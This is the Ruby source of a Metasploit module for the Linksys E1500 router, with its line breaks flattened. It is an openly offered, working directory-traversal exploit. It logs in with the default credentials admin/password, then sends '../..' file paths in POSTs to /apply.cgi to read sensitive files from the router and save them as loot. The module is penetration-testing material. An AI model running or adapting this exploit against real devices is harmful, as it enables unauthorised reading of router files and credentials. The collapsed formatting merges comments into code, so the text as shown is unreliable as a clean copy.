Linksys E1500 Directory Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  def initialize    super(      'Name'        => 'Linksys E1500 Directory Traversal Vulnerability',      'Description' => %q{          This module exploits a directory traversal vulnerability which is present in        different Linksys home routers, like the E1500.      },      'References'  =>        [          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],          [ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],          [ 'BID', '57760' ],          [ 'OSVDB', '89911' ],          [ 'EDB', '24475' ]        ],      'Author'      => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],      'License'     => MSF_LICENSE    )    register_options(      [        OptPath.new('SENSITIVE_FILES',  [ true, "File containing sensitive files, one per line",          File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),        OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),        OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),      ])  end  def extract_words(wordfile)    return [] unless wordfile && File.readable?(wordfile)    begin      File.readlines(wordfile, chomp: true)    rescue ::StandardError => e      elog(e)      []    end  end  def find_files(file,user,pass)    uri = "/apply.cgi"    traversal = '../..'    data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file    res = send_request_cgi({      'method'  => 'POST',      'uri'     => uri,      'authorization' => basic_auth(user,pass),      'vars_post' => {        "submit_type" => "wsc_method2",        "change_action" => "gozila_cgi",        "next_page" => traversal << file      }    })    # without res.body.length we get lots of false positives    if (res and res.code == 200 and res.body.length > 0)      print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")      report_web_vuln({          :host => rhost,          :port => rport,          :vhost => datastore['VHOST'],          :path => uri,          :pname => data_trav,          :risk => 3,          :proof => data_trav,          :name => self.fullname,          :category => "web",          :method => "POST"      })      loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)      vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")    elsif (res and res.code)      vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")    end  end  def run_host(ip)    user = datastore['HttpUsername']    pass = datastore['HttpPassword']    vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")    # test login    begin      res = send_request_cgi({        'uri' => '/',        'method' => 'GET',        'authorization' => basic_auth(user,pass)      })      return if res.nil?      return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)      return if (res.code == 404)      if [200, 301, 302].include?(res.code)        vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")      else        vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")        return      end    rescue ::Rex::ConnectionError      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")      return    end    extract_words(datastore['SENSITIVE_FILES']).each do |file|      find_files(file, user, pass) unless file.empty?    end  endend